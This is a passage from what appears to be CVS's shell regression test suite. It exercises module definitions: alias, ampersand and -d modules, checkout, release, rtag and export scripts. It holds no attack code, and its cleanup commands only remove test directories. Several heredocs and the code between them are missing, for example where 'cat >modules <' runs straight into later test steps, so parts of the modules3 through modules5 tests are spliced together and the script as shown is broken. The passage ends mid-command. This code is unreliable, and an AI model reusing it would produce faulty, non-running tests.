dirmodule/nonexist\" \\\n\"${PROG} checkout: warning: new-born dirmodule/nonexist has disappeared\"\n\t # We tolerate the creation of the dirmodule directory, since that\n\t # is what CVS does, not because we view that as preferable to not\n\t # creating it.\n\t dotest_fail modules-150g2 \"test -f dirmodule/a || test -f dirmodule/b\" \"\"\n\t rm -r dirmodule\n\n\t # Now test that a module using -d checks out to the specified\n\t # directory.\n\t dotest modules-150h1 \"${testcvs} -q co namedmodule\" \\\n'U nameddir/a\nU nameddir/b'\n\t dotest modules-150h2 \"test -f nameddir/a && test -f nameddir/b\" \"\"\n\t echo add line >>nameddir/a\n\t dotest modules-150h3 \"${testcvs} -q co namedmodule\" 'M nameddir/a'\n\t rm nameddir/a\n\t dotest modules-150h4 \"${testcvs} -q co namedmodule\" 'U nameddir/a'\n\t dotest modules-150h99 \"echo yes | ${testcvs} release -d nameddir\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .nameddir.: \"\n\n\t # Now test that alias modules check out to subdir/a, not\n\t # aliasmodule/a.\n\t dotest modules-151 \"${testcvs} co aliasmodule\" \"\"\n\t dotest_fail modules-152 \"test -d aliasmodule\" \"\"\n\t echo abc >>first-dir/subdir/a\n\t dotest modules-153 \"${testcvs} -q co aliasmodule\" \"M first-dir/subdir/a\"\n\n\t cd ..\n\t rm -r 1\n\n\t mkdir 2\n\t cd 2\n\t dotest modules-155a0 \"${testcvs} co aliasnested\" \\\n\"${PROG} checkout: Updating first-dir/subdir/ssdir\"\n\t dotest modules-155a1 \"test -d first-dir\" ''\n\t dotest modules-155a2 \"test -d first-dir/subdir\" ''\n\t dotest modules-155a3 \"test -d first-dir/subdir/ssdir\" ''\n\t # Test that nothing extraneous got created.\n\t dotest modules-155a4 \"ls\" \"first-dir\" \\\n\"CVS\nfirst-dir\"\n\t cd ..\n\t rm -r 2\n\n\t # Test checking out everything.\n\t mkdir 1\n\t cd 1\n\t dotest modules-155b \"${testcvs} -q co world\" \\\n\"U CVSROOT/${DOTSTAR}\nU first-dir/subdir/a\nU first-dir/subdir/b\"\n\t cd ..\n\t rm -r 1\n\n\t # Test checking out a module which lists at least two\n\t # specific files twice. At one time, this failed over\n\t # remote CVS.\n\t mkdir 1\n\t cd 1\n\t dotest modules-155c1 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/subdir/a\nU first-dir/subdir/b\"\n\n\t cd first-dir\n\t echo 'first revision' > file1\n\t echo 'first revision' > file2\n\t dotest modules-155c2 \"${testcvs} add file1 file2\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file2'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\t dotest modules-155c3 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\n\t cd ..\n\t rm -r first-dir\n\t dotest modules-155c4 \"${testcvs} -q co topfiles\" \\\n\"U first-dir/file1\nU first-dir/file2\"\n\t dotest modules-155c5 \"${testcvs} -q co topfiles\" \"\"\n\n\t # Make sure the right thing happens if we remove a file.\n\t cd first-dir\n\t dotest modules-155c6 \"${testcvs} -q rm -f file1\" \\\n\"${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest modules-155c7 \"${testcvs} -q ci -m remove-it\" \\\n\"Removing file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t cd ..\n\t rm -r first-dir\n\t dotest modules-155c8 \"${testcvs} -q co topfiles\" \\\n\"${PROG} checkout: warning: first-dir/file1 is not (any longer) pertinent\nU first-dir/file2\"\n\n\t cd ..\n\t rm -r 1\n\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tmodules2)\n\t # More tests of modules, in particular the & feature.\n\t mkdir 1; cd 1\n\t dotest modules2-setup-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir second-dir third-dir\n\t dotest modules2-setup-2 \\\n\"${testcvs} add first-dir second-dir third-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\nDirectory ${CVSROOT_DIRNAME}/second-dir added to the repository\nDirectory ${CVSROOT_DIRNAME}/third-dir added to the repository\"\n\t cd third-dir\n\t touch file3\n\t dotest modules2-setup-3 \"${testcvs} add file3\" \\\n\"${PROG} add: scheduling file .file3. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest modules2-setup-4 \"${testcvs} -q ci -m add file3\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/third-dir/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/third-dir/file3,v <-- file3\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\t rm -r 1\n\n\t mkdir 1\n\t cd 1\n\n\t dotest modules2-1 \"${testcvs} -q co CVSROOT/modules\" \\\n'U CVSROOT/modules'\n\t cd CVSROOT\n\t cat >> modules << EOF\nampermodule &first-dir &second-dir\ncombmodule third-dir file3 &first-dir\nampdirmod -d newdir &first-dir &second-dir\nbadmod -d newdir\nmessymod first-dir &messymodchild\nmessymodchild -d sdir/child second-dir\nEOF\n\t # Depending on whether the user also ran the modules test\n\t # we will be checking in revision 1.2 or 1.3.\n\t dotest modules2-2 \"${testcvs} -q ci -m add-modules\" \\\n\"Checking in modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t cd ..\n\n\t dotest modules2-3 \"${testcvs} -q co ampermodule\" ''\n\t dotest modules2-4 \"test -d ampermodule/first-dir\" ''\n\t dotest modules2-5 \"test -d ampermodule/second-dir\" ''\n\n\t # Test ability of cvs release to handle multiple arguments\n\t # See comment at \"release\" for list of other cvs release tests.\n\t cd ampermodule\n\t if ${testcvs} release -d first-dir second-dir <>${LOGFILE}\nyes\nyes\nEOF\n\t then\n\t pass modules2-6\n\t else\n\t fail modules2-6\n\t fi\n\t dotest_fail modules2-7 \"test -d first-dir\" ''\n\t dotest_fail modules2-8 \"test -d second-dir\" ''\n\n\t cd ..\n\n\t # There used to be a nasty-hack that made CVS skip creation of the\n\t # module dir (in this case ampermodule) when -n was specified\n\t dotest modules2-ampermod-1 \"${testcvs} -q co -n ampermodule\" ''\n\t dotest modules2-ampermod-2 \"test -d ampermodule/first-dir\" ''\n\t dotest modules2-ampermod-3 \"test -d ampermodule/second-dir\" ''\n\n\t # Test release of a module\n\t if echo yes |${testcvs} release -d ampermodule >>${LOGFILE}; then\n\t pass modules2-ampermod-release-1\n\t else\n\t fail modules2-ampermod-release-1\n\t fi\n\t dotest_fail modules2-ampermod-release-2 \"test -d ampermodule\" ''\n\n\t # and the '-n' test again, but in conjunction with '-d'\n\t dotest modules2-ampermod-4 \"${testcvs} -q co -n -d newname ampermodule\" ''\n\t dotest modules2-ampermod-5 \"test -d newname/first-dir\" ''\n\t dotest modules2-ampermod-6 \"test -d newname/second-dir\" ''\n\t rm -rf newname\n\n\t # Now we create another directory named first-dir and make\n\t # sure that CVS doesn't get them mixed up.\n\t mkdir first-dir\n\t # Note that this message should say \"Updating ampermodule/first-dir\"\n\t # I suspect. This is a long-standing behavior/bug....\n\t dotest modules2-9 \"${testcvs} co ampermodule\" \\\n\"${PROG} checkout: Updating first-dir\n${PROG} checkout: Updating second-dir\"\n\t touch ampermodule/first-dir/amper1\n\t cd ampermodule\n\t dotest modules2-10 \"${testcvs} add first-dir/amper1\" \\\n\"${PROG} add: scheduling file .first-dir/amper1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t cd ..\n\n\t # As with the \"Updating xxx\" message, the \"U first-dir/amper1\"\n\t # message (instead of \"U ampermodule/first-dir/amper1\") is\n\t # rather fishy.\n\t dotest modules2-12 \"${testcvs} co ampermodule\" \\\n\"${PROG} checkout: Updating first-dir\nA first-dir/amper1\n${PROG} checkout: Updating second-dir\"\n\n\t if $remote; then\n\t dotest modules2-13 \"${testcvs} -q ci -m add-it ampermodule\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/amper1,v\ndone\nChecking in ampermodule/first-dir/amper1;\n${CVSROOT_DIRNAME}/first-dir/amper1,v <-- amper1\ninitial revision: 1\\.1\ndone\"\n\t else\n\t # Trying this as above led to a \"protocol error\" message.\n\t # Work around this bug.\n\t cd ampermodule\n\t dotest modules2-13 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/amper1,v\ndone\nChecking in first-dir/amper1;\n${CVSROOT_DIRNAME}/first-dir/amper1,v <-- amper1\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\t fi\n\t cd ..\n\t rm -r 1\n\n\t # Now test the \"combmodule\" module (combining regular modules\n\t # and ampersand modules in the same module definition).\n\t mkdir 1; cd 1\n\t dotest modules2-14 \"${testcvs} co combmodule\" \\\n\"U combmodule/file3\n${PROG} checkout: Updating first-dir\nU first-dir/amper1\"\n\t dotest modules2-15 \"test -f combmodule/file3\" \"\"\n\t dotest modules2-16 \"test -f combmodule/first-dir/amper1\" \"\"\n\t cd combmodule\n\t rm -r first-dir\n\t # At least for now there is no way to tell CVS that\n\t # some files/subdirectories come from one repository directory,\n\t # and others from another.\n\t # This seems like a pretty sensible behavior to me, in the\n\t # sense that first-dir doesn't \"really\" exist within\n\t # third-dir, so CVS just acts as if there is nothing there\n\t # to do.\n\t dotest modules2-17 \"${testcvs} update -d\" \\\n\"${PROG} update: Updating \\.\"\n\n\t cd ..\n\t dotest modules2-18 \"${testcvs} -q co combmodule\" \\\n\"U first-dir/amper1\"\n\t dotest modules2-19 \"test -f combmodule/first-dir/amper1\" \"\"\n\t cd ..\n\t rm -r 1\n\n\t # Now test the \"ampdirmod\" and \"badmod\" modules to be sure that\n\t # options work with ampersand modules but don't prevent the\n\t # \"missing directory\" error message.\n\t mkdir 1; cd 1\n\t dotest modules2-20 \"${testcvs} co ampdirmod\" \\\n\"${PROG} checkout: Updating first-dir\nU first-dir/amper1\n${PROG} checkout: Updating second-dir\"\n\t dotest modules2-21 \"test -f newdir/first-dir/amper1\" \"\"\n\t dotest modules2-22 \"test -d newdir/second-dir\" \"\"\n\t dotest_fail modules2-23 \"${testcvs} co badmod\" \\\n\"${PROG} checkout: modules file missing directory for module badmod\" \\\n\"${PROG} server: modules file missing directory for module badmod\n${PROG} \\[checkout aborted\\]: cannot expand modules\"\n\t cd ..\n\t rm -r 1\n\n\t # Confirm that a rename with added depth nested in an ampersand\n\t # module works.\n\t mkdir 1; cd 1\n\t dotest modules2-nestedrename-1 \"${testcvs} -q co messymod\" \\\n\"U messymod/amper1\"\n\t dotest modules2-nestedrename-2 \"test -d messymod/sdir\" ''\n\t dotest modules2-nestedrename-3 \"test -d messymod/sdir/CVS\" ''\n\t dotest modules2-nestedrename-4 \"test -d messymod/sdir/child\" ''\n\t dotest modules2-nestedrename-5 \"test -d messymod/sdir/child/CVS\" ''\n\t cd ..; rm -r 1\n\n\t # FIXME: client/server has a bug. It should be working like a local\n\t # repository in this case, but fails to check out the second module\n\t # in the list when a branch is specified.\n\t mkdir 1; cd 1\n\t dotest modules2-ampertag-setup-1 \\\n\"${testcvs} -Q rtag tag first-dir second-dir third-dir\" \\\n''\n\t dotest modules2-ampertag-1 \"${testcvs} -q co -rtag ampermodule\" \\\n\"U first-dir/amper1\"\n\t if $remote; then\n\t dotest_fail modules2-ampertag-2 \"test -d ampermodule/second-dir\" ''\n\t dotest_fail modules2-ampertag-3 \"test -d ampermodule/second-dir/CVS\" ''\n\t else\n\t dotest modules2-ampertag-2 \"test -d ampermodule/second-dir\" ''\n\t dotest modules2-ampertag-3 \"test -d ampermodule/second-dir/CVS\" ''\n\t fi\n\t cd ..; rm -r 1\n\n\t # Test for tag files when an ampermod is renamed with more path\n\t # elements than it started with.\n\t #\n\t # FIXME: This is currently broken in the remote case, possibly only\n\t # because the messymodchild isn't being checked out at all.\n\t mkdir 1; cd 1\n#\t dotest modules2-tagfiles-setup-1 \\\n#\"${testcvs} -Q rtag -b branch first-dir second-dir\" \\\n#''\n\t dotest modules2-tagfiles-1 \"${testcvs} -q co -rtag messymod\" \\\n\"U messymod/amper1\"\n\t if $remote; then\n\t dotest_fail modules2-tagfiles-2r \"test -d messymod/sdir\" ''\n\t else\n\t dotest modules2-tagfiles-2 \"cat messymod/sdir/CVS/Tag\" 'Ttag'\n\t fi\n\t cd ..; rm -r 1\n\n\t # Test that CVS gives an error if one combines -a with\n\t # other options.\n\t # Probably would be better to break this out into a separate\n\t # test. Although it is short, it shares no files/state with\n\t # the rest of the modules2 tests.\n\t mkdir 1; cd 1\n\t dotest modules2-a0.5 \"${testcvs} -q co CVSROOT/modules\" \\\n'U CVSROOT/modules'\n\t cd CVSROOT\n\t echo 'aliasopt -a -d onedir first-dir' >modules\n\t dotest modules2-a0 \"${testcvs} -q ci -m add-modules\" \\\n\"Checking in modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..\n\t dotest_fail modules2-a1 \"${testcvs} -q co aliasopt\" \\\n\"${PROG} checkout: -a cannot be specified in the modules file along with other options\" \\\n\"${PROG} server: -a cannot be specified in the modules file along with other options\n${PROG} \\[checkout aborted\\]: cannot expand modules\"\n\t cd ..; rm -r 1\n\n\t # Clean up.\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/second-dir\n\t rm -rf ${CVSROOT_DIRNAME}/third-dir\n\t ;;\n\n\tmodules3)\n\t # More tests of modules, in particular what happens if several\n\t # modules point to the same file.\n\n\t # First just set up a directory first-dir and a file file1 in it.\n\t mkdir 1; cd 1\n\n\t dotest modules3-0 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest modules3-1 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\n\t cd first-dir\n\t echo file1 >file1\n\t dotest modules3-2 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file \\`file1' for addition\n${PROG} add: use '${PROG} commit' to add this file permanently\"\n\t dotest modules3-3 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\n\t dotest modules3-4 \"${testcvs} -q update -d CVSROOT\" \\\n\"U CVSROOT${DOTSTAR}\"\n\t cd CVSROOT\n\t cat >modules < file1\n\t dotest modules4-4 \"${testcvs} add file1\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\n\t echo file2 > subdir/file2\n\t dotest modules4-5 \"${testcvs} add subdir/file2\" \\\n\"${PROG}\"' add: scheduling file `subdir/file2'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\n\t echo file3 > subdir_long/file3\n\t dotest modules4-6 \"${testcvs} add subdir_long/file3\" \\\n\"${PROG}\"' add: scheduling file `subdir_long/file3'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\n\t dotest modules4-7 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/subdir/file2,v\ndone\nChecking in subdir/file2;\n${CVSROOT_DIRNAME}/first-dir/subdir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/subdir_long/file3,v\ndone\nChecking in subdir_long/file3;\n${CVSROOT_DIRNAME}/first-dir/subdir_long/file3,v <-- file3\ninitial revision: 1\\.1\ndone\"\n\n\t cd ..\n\n\t dotest modules4-8 \"${testcvs} -q update -d CVSROOT\" \\\n\"U CVSROOT${DOTSTAR}\"\n\t cd CVSROOT\n\t cat >modules <> ${CVSROOT_DIRNAME}/$i.sh <CVSROOT/modules <>realmodule/a\n\t dotest modules5-13 \"${testcvs} -q ci -m.\" \\\n\"Checking in realmodule/a;\n${CVSROOT_DIRNAME}/first-dir/subdir/a,v <-- a\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t else\n\t dotest modules5-11 \"${testcvs} -q co realmodule\" \\\n\"checkout script invoked in ${TESTDIR}/1\nargs: realmodule\"\n\t dotest modules5-12 \"${testcvs} -q update\" ''\n\t echo \"change\" >>realmodule/a\n\t dotest modules5-13 \"${testcvs} -q ci -m.\" \\\n\"Checking in realmodule/a;\n${CVSROOT_DIRNAME}/first-dir/subdir/a,v <-- a\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t fi\n\t dotest modules5-14 \"echo yes | ${testcvs} release -d realmodule\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .realmodule.: \"\n\t dotest modules5-15 \"${testcvs} -q rtag -Dnow MYTAG realmodule\" \\\n\"tag script invoked in ${TESTDIR}/1\nargs: realmodule MYTAG\" \\\n\"tag script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: realmodule MYTAG\"\n\t if $remote; then\n\t dotest modules5-16 \"${testcvs} -q export -r MYTAG realmodule\" \\\n\"U realmodule/a\nexport script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: realmodule\"\n\t else\n\t dotest modules5-16 \"${testcvs} -q export -r MYTAG realmodule\" \\\n\"U realmodule/a\nexport script invoked in ${TESTDIR}/1\nargs: realmodule\"\n\t fi\n\t rm -r realmodule\n\n\t dotest_fail modules5-17 \"${testcvs} co realmodule/a\" \\\n\"${PROG}\"' checkout: module `realmodule/a'\\'' is a request for a file in a module which is not a directory' \\\n\"${PROG}\"' server: module `realmodule/a'\\'' is a request for a file in a module which is not a directory\n'\"${PROG}\"' \\[checkout aborted\\]: cannot expand modules'\n\n\t # Now test the ability to check out a single file from a directory\n\t if $remote; then\n\t dotest modules5-18 \"${testcvs} co dirmodule/a\" \\\n\"U dirmodule/a\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .dirmodule..\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: dirmodule\"\n\t else\n\t dotest modules5-18 \"${testcvs} co dirmodule/a\" \\\n\"U dirmodule/a\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .dirmodule..\ncheckout script invoked in ${TESTDIR}/1\nargs: dirmodule\"\n\t fi\n\t dotest modules5-19 \"test -d dirmodule && test -f dirmodule/a\" \"\"\n\t dotest_fail modules5-20 \"test -f dirmodule/b\" \"\"\n\t dotest modules5-21 \"echo yes | ${testcvs} release -d dirmodule\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .dirmodule.: \"\n\n\t # Now test the ability to correctly reject a non-existent filename.\n\t # For maximum studliness we would check that an error message is\n\t # being output.\n\t # We accept a zero exit status because it is what CVS does\n\t # (Dec 95). Probably the exit status should be nonzero,\n\t # however.\n\t if $remote; then\n\t dotest modules5-22 \"${testcvs} co dirmodule/nonexist\" \\\n\"${PROG} checkout: warning: new-born dirmodule/nonexist has disappeared\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .dirmodule..\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: dirmodule\"\n\t else\n\t dotest modules5-22 \"${testcvs} co dirmodule/nonexist\" \\\n\"${PROG} checkout: warning: new-born dirmodule/nonexist has disappeared\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .dirmodule..\ncheckout script invoked in ${TESTDIR}/1\nargs: dirmodule\"\n\t fi\n\t # We tolerate the creation of the dirmodule directory, since that\n\t # is what CVS does, not because we view that as preferable to not\n\t # creating it.\n\t dotest_fail modules5-23 \"test -f dirmodule/a || test -f dirmodule/b\" \"\"\n\t rm -r dirmodule\n\n\t # Now test that a module using -d checks out to the specified\n\t # directory.\n\t if $remote; then\n\t dotest modules5-24 \"${testcvs} -q co namedmodule\" \\\n\"U nameddir/a\nU nameddir/b\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: nameddir\"\n\t else\n\t dotest modules5-24 \"${testcvs} -q co namedmodule\" \\\n\"U nameddir/a\nU nameddir/b\ncheckout script invoked in ${TESTDIR}/1\nargs: nameddir\"\n\t fi\n\t dotest modules5-25 \"test -f nameddir/a && test -f nameddir/b\" \"\"\n\t echo add line >>nameddir/a\n\t # This seems suspicious: when we checkout an existing directory,\n\t # the checkout script gets executed in addition to the update\n\t # script. Is that by design or accident?\n\t if $remote; then\n\t dotest modules5-26 \"${testcvs} -q co namedmodule\" \\\n\"M nameddir/a\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: nameddir\"\n\t else\n\t dotest modules5-26 \"${testcvs} -q co namedmodule\" \\\n\"M nameddir/a\ncheckout script invoked in ${TESTDIR}/1\nargs: nameddir\"\n\t fi\n\t rm nameddir/a\n\n\t if $remote; then\n\t dotest modules5-27 \"${testcvs} -q co namedmodule\" \\\n\"U nameddir/a\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: nameddir\"\n\t else\n\t dotest modules5-27 \"${testcvs} -q co namedmodule\" \\\n\"U nameddir/a\ncheckout script invoked in ${TESTDIR}/1\nargs: nameddir\"\n\t fi\n\t dotest modules5-28 \"echo yes | ${testcvs} release -d nameddir\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .nameddir.: \"\n\n\t # Now try the same tests with -d on command line\n\t # FIXCVS? The manual says the modules programs get the module name,\n\t # but they really get the directory name.\n\t if $remote; then\n\t dotest modules5-29 \"${testcvs} co -d mydir realmodule\" \\\n\"U mydir/a\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .mydir..\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: mydir\"\n\t else\n\t dotest modules5-29 \"${testcvs} co -d mydir realmodule\" \\\n\"U mydir/a\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .mydir..\ncheckout script invoked in ${TESTDIR}/1\nargs: mydir\"\n\t fi\n\t dotest modules5-30 \"test -d mydir && test -f mydir/a\" \"\"\n\t dotest_fail modules5-31 \"test -d realmodule || test -f mydir/b\" \"\"\n\t if $remote; then\n\t dotest modules5-32 \"${testcvs} -q co -d mydir realmodule\" \\\n\"checkout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: mydir\"\n\t dotest modules5-33 \"${testcvs} -q update\" ''\n\t echo \"change\" >>mydir/a\n\t dotest modules5-34 \"${testcvs} -q ci -m.\" \\\n\"Checking in mydir/a;\n${CVSROOT_DIRNAME}/first-dir/subdir/a,v <-- a\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t else\n\t dotest modules5-32 \"${testcvs} -q co -d mydir realmodule\" \\\n\"checkout script invoked in ${TESTDIR}/1\nargs: mydir\"\n\t dotest modules5-33 \"${testcvs} -q update\" ''\n\t echo \"change\" >>mydir/a\n\t dotest modules5-34 \"${testcvs} -q ci -m.\" \\\n\"Checking in mydir/a;\n${CVSROOT_DIRNAME}/first-dir/subdir/a,v <-- a\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t fi\n\t dotest modules5-35 \"echo yes | ${testcvs} release -d mydir\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .mydir.: \"\n\t if $remote; then\n\t dotest modules5-36 \"${testcvs} -q rtag -Dnow MYTAG2 realmodule\" \\\n\"tag script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: realmodule MYTAG2\"\n\t dotest modules5-37 \"${testcvs} -q export -r MYTAG2 -d mydir realmodule\" \\\n\"U mydir/a\nexport script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: mydir\"\n\t else\n\t dotest modules5-36 \"${testcvs} -q rtag -Dnow MYTAG2 realmodule\" \\\n\"tag script invoked in ${TESTDIR}/1\nargs: realmodule MYTAG2\"\n\t dotest modules5-37 \"${testcvs} -q export -r MYTAG2 -d mydir realmodule\" \\\n\"U mydir/a\nexport script invoked in ${TESTDIR}/1\nargs: mydir\"\n\t fi\n\t rm -r mydir\n\n\t # Now test the ability to check out a single file from a directory\n\t if $remote; then\n\t dotest modules5-38 \"${testcvs} co -d mydir dirmodule/a\" \\\n\"U mydir/a\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .mydir..\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: mydir\"\n\t else\n\t dotest modules5-38 \"${testcvs} co -d mydir dirmodule/a\" \\\n\"U mydir/a\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .mydir..\ncheckout script invoked in ${TESTDIR}/1\nargs: mydir\"\n\t fi\n\t dotest modules5-39 \"test -d mydir && test -f mydir/a\" \"\"\n\t dotest_fail modules5-40 \"test -d dirmodule || test -f mydir/b\" \"\"\n\t dotest modules5-41 \"echo yes | ${testcvs} release -d mydir\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .mydir.: \"\n\n\t # Now test the ability to correctly reject a non-existent filename.\n\t # For maximum studliness we would check that an error message is\n\t # being output.\n\t # We accept a zero exit status because it is what CVS does\n\t # (Dec 95). Probably the exit status should be nonzero,\n\t # however.\n\t if $remote; then\n\t dotest modules5-42 \"${testcvs} co -d mydir dirmodule/nonexist\" \\\n\"${PROG} checkout: warning: new-born mydir/nonexist has disappeared\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .mydir..\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: mydir\"\n\t else\n\t dotest modules5-42 \"${testcvs} co -d mydir dirmodule/nonexist\" \\\n\"${PROG} checkout: warning: new-born mydir/nonexist has disappeared\n${PROG} checkout: Executing ..${CVSROOT_DIRNAME}/checkout\\.sh. .mydir..\ncheckout script invoked in ${TESTDIR}/1\nargs: mydir\"\n\t fi\n\t # We tolerate the creation of the mydir directory, since that\n\t # is what CVS does, not because we view that as preferable to not\n\t # creating it.\n\t dotest_fail modules5-43 \"test -f mydir/a || test -f mydir/b\" \"\"\n\t rm -r mydir\n\n\t if $remote; then\n\t dotest modules5-44 \"${testcvs} -q co -d mydir namedmodule\" \\\n\"U mydir/a\nU mydir/b\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: mydir\"\n\t else\n\t dotest modules5-44 \"${testcvs} -q co -d mydir namedmodule\" \\\n\"U mydir/a\nU mydir/b\ncheckout script invoked in ${TESTDIR}/1\nargs: mydir\"\n\t fi\n\t dotest modules5-45 \"test -f mydir/a && test -f mydir/b\" \"\"\n\t dotest_fail modules5-46 \"test -d namedir\"\n\t echo add line >>mydir/a\n\t # This seems suspicious: when we checkout an existing directory,\n\t # the checkout script gets executed in addition to the update\n\t # script. Is that by design or accident?\n\t if $remote; then\n\t dotest modules5-47 \"${testcvs} -q co -d mydir namedmodule\" \\\n\"M mydir/a\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: mydir\"\n\t else\n\t dotest modules5-47 \"${testcvs} -q co -d mydir namedmodule\" \\\n\"M mydir/a\ncheckout script invoked in ${TESTDIR}/1\nargs: mydir\"\n\t fi\n\t rm mydir/a\n\n\t if $remote; then\n\t dotest modules5-48 \"${testcvs} -q co -d mydir namedmodule\" \\\n\"U mydir/a\ncheckout script invoked in ${TMPDIR}/cvs-serv[0-9a-z]*\nargs: mydir\"\n\t else\n\t dotest modules5-48 \"${testcvs} -q co -d mydir namedmodule\" \\\n\"U mydir/a\ncheckout script invoked in ${TESTDIR}/1\nargs: mydir\"\n\t fi\n\t dotest modules5-49 \"echo yes | ${testcvs} release -d mydir\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .mydir.: \"\n\n\t cd ..\n\t rm -rf 1 ${CVSROOT_DIRNAME}/first-dir ${CVSROOT_DIRNAME}/*.sh\n\t ;;\n\n\tmodules6)\n\t #\n\t # Test invalid module definitions\n\t #\n\t # See the header comment for the `modules' test for an index of\n\t # the complete suite of modules tests.\n\t #\n\n\t #\n\t # There was a bug in CVS through 1.11.1p1 where a bad module name\n\t # would cause the previous line to be parsed as the module\n\t # definition. This test proves this doesn't happen anymore.\n\t #\n\t mkdir modules6\n\t cd modules6\n\t dotest module6-setup-1 \"${testcvs} -Q co CVSROOT\" \"\"\n\t cd CVSROOT\n\t echo \"longmodulename who cares\" >modules\n\t echo \"badname\" >>modules\n\t # This test almost isn't setup since it generates the error message\n\t # we are looking for if `-Q' isn't specified, but I want to test the\n\t # filename in the message later.\n\t dotest modules6-setup-2 \"${testcvs} -Q ci -mbad-modules\" \\\n\"Checking in 